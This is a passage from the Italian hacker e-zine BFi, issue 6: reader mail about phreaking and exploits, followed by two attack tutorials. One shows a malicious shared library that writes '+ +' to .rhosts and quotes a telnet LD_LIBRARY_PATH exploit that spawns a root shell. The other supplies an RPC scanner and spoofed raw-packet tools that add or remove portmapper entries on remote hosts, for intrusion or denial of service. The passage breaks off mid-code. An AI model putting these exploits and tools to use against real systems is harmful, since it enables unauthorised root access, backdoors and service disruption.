l'intramontabile http://www.mobileworld.com > PS:Esiste un sito dove si trovano i codici delle ricariche TIM e Omnitel > o un metodo per trovarle? Per quanto riguarda le ricariche Omnitel girano un paio di programmi che promettono di generare codici validi a partire da codici gia' esistenti, ma che francamente, dopo un tot di studi, non hanno mai funzionato o si sono rivelati bufale pazzesche. Tieni anche conto che Omnitel e' MOLTO attenta alle questioni della sicurezza (basta vedere la trafila necessaria ad attivare una nuova SIM, o anche solo a ricaricare con ricaricard). Parlando di Telecom invece pare non ci ci sia metodo. Le ultime informazioni in nostro possesso danno i codici delle RicariCard come generati casualmente e poi inseriti nel database. Quindi in mancanza di un algoritmo di generazione all'origine l'unica e' avere la classica botta di culo e digitare per sbaglio un codice valido: non ti consiglio di farlo comunque, se sbagli il codice di ricarica per 3 volte di fila la famosa vocina ti dira' di recarti ad un centro TIM per la verifica dei tuoi dati, e non ti permettera' di ricaricare il cellulare nemmeno con codici validi... --- [7] "Sito ufficiale?" da Jason Hall <...> > Da quando vi ho scoperto (bfi2) mi sono fatto tutta la collezione di Bfi > e non riesco piu a farne a meno, siete come una droga. Dall'intro di BFi 1: "Quando avrai iniettato nella tua fibra ottica questa dose di Butchered From Inside, non ne potrai piu' fare a meno..." Approfitto della tua email per ringraziare te e tutti quelli che ci hanno scritto per farci i complimenti. Ci tenete alto il morale ragazzi :) --- [8] "no subject" da Saverio <...> > Mi chiedevo se e' ancora possibile "blue-boxare" dall'Italia stabiliendo > dei trunk con l'estero, e se la risposta e' si vorrei sapere dove e' > possibile reperire i famosi "toll-free" e se questi numeri iniziamo con > 0800 anche dall'Italia. Da quanto ne so' non e' piu' possibile in alcun modo. Dal '92, come ormai sapranno tutti, non si puo' piu' direttamente con le linee Telecom, e anche il boxing tramite CountryDirect non e' piu' attuabile. C'e' gente che ancora dice di riuscirci, ma io sarei curioso di avere dati alla mano e una verifica sperimentale... I "toll-free" sono semplicemente i comunissimi numeri verdi, che da poco tempo anche qui in Italia iniziano con prefisso 800. E' possibile tramite alcuni di essi l'uscita verso Internet (credo che la cosa sia fin troppo di dominio pubblico), ma come gia' detto moltissime volte la redazione di BFi e' altamente contraria a questa pratica. --- [9] "007Shell.c" da Bonjo the Sniff Dog > Salve a tutti, evito i complimenti e arrivo al sodo... E' da una > settimana ke provo a compilare lo 007Shell.c, solo ke ottengo errori > riguardo a puntatori e altra roba ke il mio livello di c non permette di > risolvere =) dunque volevo sapere dove era possibile reperire il tgz > (considerando ke l'home dei Daemon9 e' down) Uhm... ho compilato lo 007shell.c su numerosi linux box senza il minimo errore di sorta. Bisognerebbe sapere che errori esattamente da' e su che distribuzione lo stai compilando per poter fornire una soluzione. Il tgz del binario non sara' mai disponibile da noi, perche' ci teniamo a fornire le cose solo in sorgente per coerenza col progetto GNU e per dare modo all'utente che non svolgiamo operazioni occulte a sua insaputa. Qualcuno comunque potrebbe essere cosi' gentile da compilare il sorgente per te, prova a chiedere un po' in giro. Per quanto riguarda Daemon9, che sia down o meno non c'entra nulla con noi. La' si possono trovare solo informazioni ulteriori a riguardo del protocollo ICMP e delle modalita' utilizzate per creare 007shell.c, che ripeto NON HA ALCUNA CORRELAZIONE con Daemon9. Li' non troverai di certo qualcosa di nostro. --- [10] "Varie ed eventuali" da Antacker > Prima di tutto continuate cosi', la vostra non e' soltanto una e-zine ma > un capolavoro, un documento che segnera' la storia dell' Italia non solo > nel contesto dell' underground digitale. Voglio segnalarvi alcune > cosette: > > - Nei cd-rom di panorama, piu' precisamente nel 6 cd dell' Enciclopedia > multimediale LAROUSSE sono presenti svariati archivi mooolto > interessanti, nella directory \Dati\Mdb\ c' e' in particolare un > dizionario (Dizion98.mdb) che contiene tutte le parole della lingua > Italiana in formato ACCESS, ideale come base per un programma di crack > delle password. > - In commercio si trovano accoppiatori acustici che arrivano a velocita' > dell' ordine dei 28.000 bps (molto oltre il limite dei 300 bps > dell' articolo di Jaiss) , alcuni si possono aquistare on-line, ecco gli > indirizzi che ho trovato: > http://www.micromed.vs.net/novitac.htm costa poco :-) > http://info.it/kernelgroup/cat/c1007.htm (14.000bps) > http://www.redco.it/listini/Dati/redco.htm (28.000bps) > http://www.laptopproducts.com/telecoupler/tele_coupler.asp (28.000bps) > http://www.cc-inc.com/home.asp?store=pcmall&catalog_id=2 (28.000bps) Rigiro le informazioni a tutti i lettori di BFi, in modo che possano trarne beneficio. > Forse lo state gia' facendo, comunque sarebbe interessante se scriveste > qualcosa sul "recente" bug da root "remoto" del wu-ftp 15-18 che per > quanto ho visto e' presente su molti server e per quanto mi risulta una > volta sfruttato da accesso root senza loggagio. Credo che, in un modo o nell'altro, tutti ormai abbiano scritto qualcosa sull'exploit remoto per il WU-FTPD. Bastava che seguissi costantemente Bugtraq per trovare tutte le informazioni necessarie. In ogni caso, per completezza, su questo numero si trova uno scanner di WU-FTPD exploitabili, programmato dal buon Del0rean. E non dire loggaggio, che pare una parola brutta (oltre a non esistere :) --- [11] "per pazzo" da Demian > Dopo aver letto un tuo articolo su spaghetti phreak, ho pensato di > scriverti per vedere se hai le seguenti info: > 1. schema collegamento nec p7 - lpt1 > 2. prg per modificare l'esn > 3. qualsiasi info > Ti assicuro che NON ESISTONO SU INTERNET SCHEMI O PRG SPECIFICICI PER IL > NEC P7, te lo dice uno che li sta cercando da 5 mesi... > cosi': o mi aiuti te o lascio perdere <...> Approfitto di questa mail per avvertire che ultimamente |PazzO| e' piuttosto latitante, e abbiamo perso ogni contatto con lui... Se qualcuno ha informazioni a riguardo dei problemi posti da Demian e' gentilmente pregato di inviarle alla redazione. --- [12] "Cellular info" da Nightflyer <...> > Inoltre vorrei cogliere l'occasione per chiedere lumi a PazzO (mi e' > sembrato il + competente in materia) su un'inculata pazzesca che mi ha > rifilato una zoccola conosciuta in chat: la troiona in questione dopo aver > avuto il mio numero di cell mi ha telefonato (vi risparmio le > cazzeggiate della telefonata) poi (evidentemente si preparava ad > infilarmelo senza vaselina) con una scusa mi fa "senti puoi richiamarmi > tra 5 minuti? ti sara' apparso il mio num!" "ok" rispondo io ed intanto > ci tenevavo in contatto via chat. Quando ho provato a telefonare risponde > un kazzone strafottutamente inkazzato (!!!????) poi chiarito l'equivoco > sul fatto che avevo sbagliato num (era un num di casa) la zoccola torna a > richiamare un paio di volte e meraviglia delle meraviglie faceva > apparire sul mio display quel kazzo che gli pareva!!!!! Chiedo > spiegazioni alla zoccolona in chat e sapete che ha risposto? "questo > succede quando si ha un padre che lavora alla telekoz (u must die)" che > inculataaaaa!!!!! PazzO che dici di questo? e' solo una presa per il culo > o e' veramente possibile decidere quale num mandare sul display della > persona chiamata? La stessa cosa e' successa anche ad altri miei amici. > Ti prego PazzO ILLUMINAMI!!!!!!! BFI SIETE I MIGLIORIIIIII!!!!!!!!! Mi risparmio i vari sproloqui sulla privacy e su come passare il proprio numero di cellulare a sconosciuti sia una pratica altamente deprecabile, per le donne questo ed altro dicevano... :) In ogni caso dalla data del tuo messaggio ho notato che la cosa ti deve essere necessariamente successa prima che Telecom abilitasse l'invio del Caller ID dai numeri di rete fissa comuni, quindi la tipa doveva essere necessariamente dotata di ISDN. La pratica dice che per le linee ISDN ad inviare il numero alla centrale sono le borchie stesse (le comuni NT1Plus), e che e' EFFETTIVAMENTE possibile tramite riprogrammazione della borchia stessa inviare numeri di telefono arbitrari. Lo svantaggio di tutto questo e' che non e' piu' possibile ricevere telefonate finche' non si ripristinano le impostazioni originali. E' comunque anche possibile che la tipa avesse il padre dipendente Telecom, anche se a dire il vero di parenti in Telecom ne ho pure io e nessuno mi ha mai parlato di possibilita' simili. Il tutto e' senz'altro uno spunto interessante per un articolo. Giro la questione ad un po' di gente e vediamo che ne salta fuori :) --- [13] "Aiutami" da Cracker > Caro hacker, Guarda che siamo in tanti :p > sono un giovane ed intranprendente nella cariera di hacker, sono quindi uno > dei tuoi piu accaniti fan. Mi piacerebbe tantissimo diventare colto come te > ma ho un grosso problema nonostante segua pure i tuoi meravigliosi volumi: > non riesco a trovare un'anima buona che abbia un po di pazienza per > insegnarmi. Ti sarei veramente grato se tu mi aiutassi, comunque sappi che > io non sono come gli altri ci metto tutto il mio impegno ed ho anche > fondato un gruppo The Young Hackers Team che ha persino un sito internet! > Io nella speranza ti do l'indirizzo http://members.xoom.it/yh_Team e se > proprio non te ne frega nulla di aiutarmi... almeno dammi una risposta per > confermarmi che almeno l'hai letto. Da qui si potrebbe partire con una discussione eterna sul come vadano aiutati i "nuovi adepti" (oh, sembra quasi una setta satanica :), ma non e' il caso. Il fatto e' che non possiamo darti nessun aiuto, a parte consigliarti di scovare nella rete piu' materiale possibile, di studiarlo nei minimi particolari e di cercare di applicare le tecniche, e ovviamente di continuare a seguirci :) Del resto nessuno nasce "imparato" (come diceva un mio amico), sono sempre necessari una certa percentuale di sforzi mentali e sudore della fronte :) Quello che comunque ti posso dire, dopo aver guardato il sito, e' di stare profondamente attento, tu e i tuoi amici. Avete dai 13 ai 15 anni ragazzi, e non state giocando con le macchinine :) Ricordatevi che, se avete intenzione di "studiare la sicurezza sulla pelle altrui" (diciamo cosi' va') andate incontro a rischi. Mi raccomando, piedi di piombo e chiappe strette :) > P.S. Io uso win98 (nel caso ti interessase) Cambia sistema operativo e installa Linux. Con Winkaz 98 non andrai mai da nessuna parte. --- [14] "Maledetto QPOP!!" da Override <...> > Bando alle ciance e vado subito al sodo. Ultimamente mi sono rotto le > scatole di utilizzare sempre gli stessi exploit per beccare le shell, > ovvero sendmail e cgi.. quindi mi sono messo a cercarne di nuovi , come > l'IMAP e il QPOP. Proprio su quest'ultimo nasce il prob! Se ne parla poco > in giro, cosi' mi sono adattato ad alcune info prese qua e la' sul Net e > dopo aver trovato una dozzina di server col relativo bug del QPOP2.2 e 2.4, > mi sono deciso a provare l'exploit... con risultati deludenti! Possibile > che provando su 12 server con tale bug, non funzia su nessuno??! Che se ne parli poco mi pare un attimino falso :) Ne hanno parlato in tutte le salse e in tutte le posizioni, insisto che Bugtraq sull'argomento ha speso fiumi di email (come dicevo prima per l'exploit relativo al WU-FTPD). Tieni conto che esistono numerose versioni dell'exploit, ed essendo che tutte si basano su un offset specificato dall'utente, potresti sbagliare quello. La stessa cosa si applica all'IMAP, ma li' e' un po' meno pignolo per quanto riguarda l'offset (salti di 500). > .. non ci credo, cosi' mi viene il dubbio che ci sia qualcos'altro oltre > che compilare l'eseguibile per l'exploit. Ma cosa?? Quindi, pensavo che > sarebbe ottima cosa se faceste un'art. a riguardo .. o sbaglio?? Sbagli. Ti dico anche il perche'. E' inutile sfruttare alla cieca un exploit senza sapere cosa c'e' dietro, perche' in questo modo potrebbe andarti bene una volta, due, dieci, ma verra' sempre il momento in cui qualcosa andra' storto e bisognera' riparare a mano. Quindi bisogna studiarci sopra. L'unico articolo possibile in questo caso sarebbe una spiegazione dei principi che stanno dietro ai buffer overflow, e non certo una guida all'uso degli exploit comuni. Ti consiglio di leggere gli ultimi numeri di Phrack per maggiori informazioni sugli overflow. --- [15] "e-zine" da DotsworD > Sono DotsworD, un semplice ragazzo di provincia (per cosi' dire..), Ho > letto on WEB il vostro ultimo numero e sono rimasto estremamente colpito, > la lettura e' stata tutto di un fiato che alla fine ho dovuto mettermi il > collirio.. Esiste la nostra ezine disponibile alla lettura direttamente in web? Dove? O forse volevi solo dire che l'hai scaricata e te la sei letta? No, solo perche' stiamo preparando ora i numeri in html, e se qualcuno avesse gia' fatto il lavoro ci risparmierebbe un bel po' di casino <...> Tralascio tutti i complimenti, ma in ogni caso ringrazio. Fanno un immenso piacere. --- [16] "Protesta telecazz" da Ritz Mi scuso subito con Ritz per aver apportato tagli alla sua mail, ma era davvero troppo lunga :) <...> > Avete detto che la protesta contro Telecazz col Netstrike e' del tutto > legale. E' vero anche che secondo Telecazz la protesta di ottobre 1998 non > ha dato esiti positivi (per noi), anche se invece il server sembrava > parecchio rallentato: ebbene, ho pensato... visto che con le proteste di > questo tipo (cioe' troppo sporadiche) non si conclude nulla, perche' non > si potrebbe organizzare OGNI SANTA SERA in un dato orario una protesta > simile? E' vero che forse la Telecazz non subirebbe troppi rallentamenti, > ma e' anche vero che dopo un po' di tempo dovra' pur cedere!! <...> Hai mandato la mail alla redazione sbagliata :p Ti consiglio di andare al sito http://www.notut.org, li' troverai tutte le info e le idee che ti servono. In ogni caso concordo con te sul fatto che prima o poi la Telecom dovra' cedere alle pressioni dell'utente... se non altro perche' nel 2002 (mi pare) perdera' anche il monopolio sulle chiamate urbane... --- [17] "C'e' post@ per te!!!!!" da Zio Marzo > Mi piacerebbe tanto avere la possibilita' far parte dei > redattori di Butchered from Inside , scrivendo uno o piu' > articoli sull' hacking per ogni numero che uscira' d'ora > in poi compreso il 6 . > > Io sono specializzato in hacking e saro' lieto di > scrivere articoli su tutti gli argomenti che vorrete > nel caso ci sia bisogno posso anche scrivere qualcosa > sul phreaking . > > Spero accoglierai la mia richiesta . Mail simili ne abbiamo ricevute piu' di una, quindi approfitto di Zio Marzo per fare un comunicato che credo possa interessare a tutti. NON E' NECESSARIO CHE CHIEDIATE OGNI VOLTA PRIMA DI MANDARE UN ARTICOLO!! Anche perche', col poco tempo che abbiamo, molto probabilmente non ricevereste mai risposta (come nel caso di Zio Marzo). Semplicemente, chi vuole collaborare invii il suo materiale, e solo a questo punto l'autore verra' contattato. Tutto questo per evitare di dover rispondere ogni volta a mail che chiedono di poter collaborare. Voi inviate i vostri articoli, e poi noi vi contattiamo per l'inserimento in Butchered From Inside. Spero che questa sia la volta buona... :) --- [18] "no subject" da RIGENERA S.N.C. > ciao ho trovato i programmi di generazione numeri carte ricarica omni e tim > ma a quanto isto non funzionano .... per molti trucchettini letti per > fregara mamma telekkomma ci sono ormai alla maggior parte delle pecche.... > non tutti funzioonano anzi tutti funzionano solo in parte.... mandero' poi > materiale in merito... attendo vostre notizie Ho gia' risposto a una domanda simile in questo numero :) I programmi per la generazione di codici di ricarica NON FUNZIONANO. Mandaci il tuo materiale che poi vediamo. --- Uffff.... anche per questa volta e' fatta :) Spero non vi siate annoiati leggendo, e vi invito ad inviare le vostre email al nuovo indirizzo di Butchered From Inside: bfi@voyanet.org Sono fortemente apprezzati nuovi articoli, ma mandateceli direttamente, giudicheremo poi noi se inserirli o meno (questo perche' non abbiamo il tempo materiale di rispondere privatamente alle mail). Statemi tutti bene, alla prossima, \sPIRIT\ ============================================================================== -----------------------------------[ HACKiNG ]-------------------------------- ============================================================================== ----------------------[ SCRiVERE DELLE SHARED LiBRARiES ]--------------------- ----------------------------------[ pIGpEN ]---------------------------------- pR(E/0)MESSA (non vuol dire prima della messa): Da questo articolo io pIGpEN prometto di aderire all'iniziativa "Mars Donald" (c) smaster .... se gli alieni un giorno ci mangieranno e' giusto essere tossici ... detto questo aumento le mie bustine di caffe' e la mia dose di cocacola sperando che un giorno un alieno mangiandomi mi caghi tutti intero prima di crepare .... CONSUMO: 1 cocacola (naturalmente) DEDiCA: all'estate ... SALUTI: alla cocacola company (ho fanculizzato con un omino del mac per delle patatine che ho vinto con la cocacola... cosa devo fare?) a Neuro per avermi fatto capire indirettamente che c'e' un posticino per tutti in questo mondo anche per gente come noi di BFi... a bELFaghor compagno di smanettamento alla ricerca di idee nuove... e al suo kernel e poi il mega saluto va alla solita ragazza che non occupa piu' molta importanza sul mio dns passando soltanto a CNAME... ok finiamo di dire stronzate va... ah volete sapere come si chiama adesso il computer su 192.168.1.2 ?!??! ok allora partecipate al concorso "scopri il nome del computer di pig" chi vince si passa una serata di sesso con il mio orsetto Ciccio. ...e ora serieta'... In questo spazio vi insegnero' la semplicita' della programmazione delle shared library e vi indichero' la loro crudelta' in particolari situazioni. Il concetto di shared library e' stato introdotto allo scopo di fornire una serie di routine ad un gruppo di persone che sviluppano programmi simili o anche diversi :) ma con funzioni simili... e di scavalcare parzialmente i requisiti di memoria del prog: infatti il codice all'interno di una shared library viene caricato solo quando necessario. Detto cio' partiamo con l'opera: [pigpen@sp00f pigpen]$ ldd /bin/ls libc.so.6 => /lib/libc.so.6 (0x40005000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00000000) (no, non vi cedero' una notte di sesso con il mio orsetto preferito!!! Da sp00f non potete ancora intendere il nome!) Come vedete da questo comando "ls" sfrutta al suo interno due librerie. Ma come si programma una libreria di questo tipo? Vediamo un piccolo esempio scarno prendendo come spunto la funzione FUCK_RHOST del mio articolo sulle rpc backdoor... Da questo dimostreremo la diabolicita' delle shared library... Per provare la shared library: - compilate i due programmi come scritto nei commenti dei codici sorgente - scrivete export LD_LIBRARY_PATH='pwd':$LD_LIBRARY_PATH (solo per testare le lib... quando le installerete dovete: - spostarle in /usr/local/lib - eseguire /sbin/ldconfig - fare un link simbolico se necessario) ---------- snip ---------- /* sha.c A simple example of an abuse of a shared library Example by pIGpEN/s0ftpj99 for Butchered From Inside 6 Compile it -> gcc -fPIC -c sha.c gcc -shared -Wl sha.o -o lll.so Use it with -> client.c */ #include #include void rhosts(void) { system("echo \"+ +\" > ~/.rhosts"); printf("Rhosts Written - :0 \n"); } ---------- snip ---------- Questo source evito di spiegarlo va :)) la libreria non e' altro che una raccolta di funzioni, dati o tipi di dati... per farla grezza manca il main() :) Guardiamo invece il prog per vederla all'opera: ---------- snip ---------- /* client.c An abuse of a shared library. Example by pIGpEN/s0ftpj99 for BFi6 gcc -o client client.c -ldl */ #include #include #define library_name "lll.so" #define function_name "rhosts" main() { void (*fuck_call)(void *data); void *desc; void *data; desc=dlopen(library_name,RTLD_LAZY); if(desc) { fuck_call = dlsym(desc,function_name); if(!fuck_call) { printf("Library not opened :(\n"); exit(-1); } printf("Library opened... Function loaded ... and now ...\n"); (*fuck_call)(data); } else fputs(dlerror(), stderr); dlclose(desc); } ---------- snip ---------- Qui notiamo la presenza del dlfcn.h... al suo interno sono incluse le funzioni dlopen(), dlsym(), dlerror() e la dlclose() utilizzate in questo prog. La prima apre la libreria restituendo un handle... insomma e' proprio o quasi come aprire un file con la fopen(). Il secondo parametro della dlopen() puo' essere RTLD_LAZY, RTLD_NOW, RTLD_GLOBAL a seconda di quando vengono caricati i simboli (basta un man dlopen per chiarirsi le idee). A questo punto si tratta di utilizzare la dlsym() sul descrittore aperto con la dlopen() e di dargli come secondo parametro il nome esatto della funzione interna alla libreria. La funzione dlsym() ritorna un puntatore a funzione... chiamando questo puntatore con i parametri corretti si eseguira' quindi la funzione della libreria dinamica. La dlerror() si usa soltanto se il descrittore e' NULL e quindi qualcosa e' andato storto... Detto questo facciamo un ulteriore passo in avanti... possibile che non vi dica niente LD_LIBRARY_PATH ? Il mio puntatore voleva essere una cosa simile a questa: /* Telnet environment hole sploit. Using freebsd libcrypt for this example because libcrypt is small and separate. Compile/link options will vary on other machines. To build: cc -c -fpic libc.c ld -Bshareable -o libcrypt.so.2.0 libc.o Now, if LD_LIBRARY_PATH points wherever this lives, guess what? ... % cp libcrypt.so.2.0 /tmp/ % telnet telnet> env def LD_LIBRARY_PATH /tmp telnet> env exp LD_LIBRARY_PATH telnet> open localhost Holey Unix, Batman! (target.org) login: rewt Password: xxx leet... # _H */ #include static void just_do_me() { setuid(0); setgid(0); puts ("leet..."); fflush (stdout); sleep (1); execl ("/bin/sh", "yow!", 0); } char * crypt (x,y) char * x; char * y; { just_do_me(); } Una delle cose piu' gettonate tempo fa .. Lasciamo perdere il path... il concetto delle shared library e' pero' ancora utilizzabile e non saro' io a dirlo... pensate un po' a /home/ftp/lib... ad avere i sorgenti delle libs e a come funziona l'esecuzione di un comando via ftp... poi pensate al vostro ftp server... e poi... beh ci arrivate da soli. bauz Death don't have no mercy - McKernan rulez pIGpEN -------------------------[ VULNERABiLiTA' di RPCBiND ]------------------------ -----------------------------------[ pIGpEN ]--------------------------------- CONSUMO : 1 panino con la nutella MUSiCA : Visions of Johanna -- Grateful Dead (fantastica canzone di Bob Dylan in versione Jerry Garcia) SALUTI : ins4ne (colui che non mangia carne 8) In questo articolo vedremo come e' possibile sfruttare una vulnerabilita' presente in alcuni sistemi per alzare e abbassare a proprio piaccimento servizi rpc. In questo numero di BFi e' presente un articolo sulle rpc backdoor... se volete capire un po' di piu' il funzionamento degli rpc guardatelo. Qui presumo che tutti voi sappiate cosa sia un rpc... L'rpcbind non e' altro che quel servizio che permette di dialogare via rpc fornendo il numero di programma e ottenendo quindi il servizio richiesto. Eseguendo per esempio: rpcinfo -p 192.168.1.2 nella mia rete di casa ottengo: program vers proto port 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100005 1 udp 635 mountd 100005 2 udp 635 mountd 100005 1 tcp 635 mountd 100005 2 tcp 635 mountd 100003 2 udp 2049 nfs 100003 2 tcp 2049 nfs Questa e' quindi una lista di tutti i servizi rpc presenti sul mio sistema. Il primo campo (program) indica appunto il numero di programma, che sara' un numero univoco. Il secondo campo e' la versione del prog. Gli altri non credo di doverli spiegare. Tenete conto pero' che non necessariamente avrete dopo port il nome... Vi potrebbe capitare pure un campo vuoto... Mi sembra chiaro che questo non sia un problema perche' il "campo chiave" e' il program. Se volete una lista dei numeri degli rpc guardatevi il file /etc/rpc . Nello speciale natalizio di BFi ho presentato per esempio un rpc.ttdbserver scanner non utilizzabile dai lameroni... in quanto faceva affidamento al nome visibile nel quinto campo... E se quello non fosse stato corretto?!? :) Beh se volete uno scanner che funge al 100% eccovelo... occorre fare una compare sul numero di programma :) ---------- snip ---------- /* RPC PROGRAM SCANNER This scanner can find an rpc program thx to its program numbers. If u r looking for a prog number type: cat /etc/rpc ;) pIGpEN/s0ftpj99 */ #include #include #include #include #include #include #include #include #include #include #include int check(char *host); unsigned long int res(char *p); void woopy(int s); void usage(char *s); void scan(char *i, char *o); int RNUMBER; void usage(char *s) { printf("Usage: %s \n\n\n\n",s); exit(-1); } void main(int argc, char **argv) { system("clear"); printf("RPC PROGRAM NUMBER FiNDER\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf("Coded by pIGpEN/s0ftpj99\n"); printf("Original scanner coded by BiT'97\n\n\n"); if(argc<4) usage(argv[0]); RNUMBER=atoi(argv[3]); scan(argv[1],argv[2]); } void scan(char *i, char *o) { FILE *iff, *of; char buf[512]; if((iff=fopen(i,"r")) == NULL) return; while(fgets(buf,512,iff) != NULL) { if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0; if(check(buf) && (of=fopen(o,"a")) != NULL) { buf[strlen(buf)+1]=0; buf[strlen(buf)]='\n'; fputs(buf,of); fclose(of); } } fclose(iff); } void woopy(int s) { return; } int check(char *host) { struct sockaddr_in server_addr; struct pmaplist *head = NULL; int sockett = RPC_ANYSOCK; struct timeval minutetimeout; register CLIENT *client; struct rpcent *rpc; server_addr.sin_addr.s_addr=res(host); server_addr.sin_family=AF_INET; server_addr.sin_port = htons(PMAPPORT); minutetimeout.tv_sec = 15; minutetimeout.tv_usec = 0; /* cause clnttcp_create uses connect() */ signal(SIGALRM,woopy); alarm(15); if ((client = clnttcp_create(&server_addr, PMAPPROG, PMAPVERS, &sockett, 50, 500)) == NULL) { alarm(0); signal(SIGALRM,SIG_DFL); return 0; } alarm(0); signal(SIGALRM,SIG_DFL); if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL, (xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) return 0; if (head != NULL) for (; head != NULL; head = head->pml_next) if((rpc = getrpcbynumber(head->pml_map.pm_prog))) if((rpc->r_number)==RNUMBER){ printf("Rpc Number Found At: %s\n",host); return 1;} return 0; } unsigned long int res(char *p) { struct hostent *h; unsigned long int rv; h=gethostbyname(p); if(h!=NULL) memcpy(&rv,h->h_addr,h->h_length); else rv=inet_addr(p); return rv; } ---------- snip ---------- Per esperienza personale e non, vi posso assicurare che quasi tutti i programmi rpc hanno avuto problemi di sicurezza fornendo spesso shell da remoto. Quindi la presenza di un bug rpcbind con la conseguente possibilita' di alzare e abbassare un programma rpc potrebbe garantire di alzare un servizio buggato per poi bucare la macchina oppure abbassare un servizio gia' attivo producendo cosi' un denial of service. Se poi avete una rpc backdoor presente su un sistema potete per esempio renderla disponibile o non attraverso i due sorgenti che presentero' di seguito. Tenete presente che entrambi i source richiedono accesso root per utilizzare raw socket... e offrono (anzi rendono obbligatoria:) la possibilita' di spoofare l'ip sorgente. Attualmente ho provato questo codice sotto RedHat con kernel 2.0.32 di seguito fornisco una lista un po' piu' dettagliata: Linux (Redhat) Irix 6.2 Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his package, although we are sure he didn't intend for anyone to be able to trivially remove/add entries) Solaris 2.6 (you can only add and delete services inserted remotely) Other version have yet to be tested. The versions of rpcbind that are NOT vulnerable are contained in: Openbsd (confirmed by deraadt@cvs.openbsd.org) Queste info, come i due semplice sorgenti che seguiranno, sono reperibili su rootshell. ---------- snip ---------- /* * pmap_set v1.0 * * Martin Rosa * * Example usage: * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666 * * This would add to portmapper's list mountd (100005) version 1 on udp * port 666. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. * * Notes: * arnudp v0.01 has been used as skeleton, Arny * */ #include #include #include #include #include #include #include #include #include #include #include static char rcsid[]="$Id: pmap_set.c,v 1.1 1999/01/09 02:57:33 root Exp$"; main(int argc, char *argv[]) { int fd, x=1, proto; struct sockaddr sa; struct sockaddr_in *sin; struct hostent *he; u_char gram[84]= { /* IP Header */ 0x45, 0x00, 0x54, 0x00, 0x00, 0x26, 0x00, 0x00, 0x36, 0x11, 0x00, 0x00, 0xCE, 0xE7, 0xD2, 0x02, 0xCE, 0xE7, 0xD2, 0x02, /* UDP Header */ 0x03, 0x52, 0x00, 0x6f, 0x00, 0x40, 0x00, 0x00, /* Data */ 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (argc != 7) { fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum] [udp|tcp] [port]\n", *argv); exit(-1); }; proto=strcmp(argv[5], "udp"); if ((he = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Can't resolve source hostname\n"); exit(-1); }; bcopy(*(he->h_addr_list), (gram+12), 4); if ((he = gethostbyname(argv[2])) == NULL) { fprintf(stderr, "Can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list), (gram+16), 4); *(u_long *) (gram + 68) = htonl((u_long) atoi(argv[3])); *(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4])); *(u_long *) (gram + 76) = htonl((u_long) proto==0 ? 17 : 6); *(u_long *) (gram + 80) = htonl((u_long) atoi(argv[6])); sin = (struct sockaddr_in *) &sa; sin->sin_family = AF_INET; bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr)); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("socket"); exit(-1); }; #ifdef IP_HDRINCL if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) { perror("setsockopt IP_HDRINCL"); exit(-1); }; #else fprintf(stderr, "IP_HDRINCL not present.\n"); exit(-1); #endif if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) { perror("sendto"); exit(-1); }; } ---------- snip ---------- E per l'unset: ---------- snip ---------- /* * pmap_unset v1.0 * * Martin Rosa * * Example usage: * pmap_unset 127.0.0.1 1.1.1.1 100005 1 * * This would remove mountd (100005) entry from portmapper's list. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. * * Notes: * arnudp v0.01 has been used as skeleton, Arny * */ #include #include #include #include #include #include #include #include #include #include #include static char rcsid[]="$Id: pmap_unset.c,v 1.1 1999/01/09 02:53:38 root Exp $"; main(int argc, char *argv[]) { int fd, x=1; struct sockaddr sa; struct sockaddr_in *sin; struct hostent *he; u_char gram[84]= { /* IP Header */ 0x45, 0x00, 0x54, 0x00, 0x00, 0x26, 0x00, 0x00, 0x36, 0x11, 0x00, 0x00, 0xCE, 0xE7, 0xD2, 0x02, 0xCE, 0xE7, 0xD2, 0x02, /* UDP Header */ 0x03, 0x52, 0x00, 0x6f, 0x00, 0x40, 0x00, 0x00, /* Data */ 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (argc != 5) { fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum]\n", *argv); exit(-1); }; if ((he = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Can't resolve source hostname\n"); exit(-1); }; bcopy(*(he->h_addr_list), (gram+12), 4); if ((he = gethostbyname(argv[2])) == NULL) { fprintf(stderr, "Can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list), (gram+16), 4); *(u_long *) (gram + 68) = htonl((u_long) 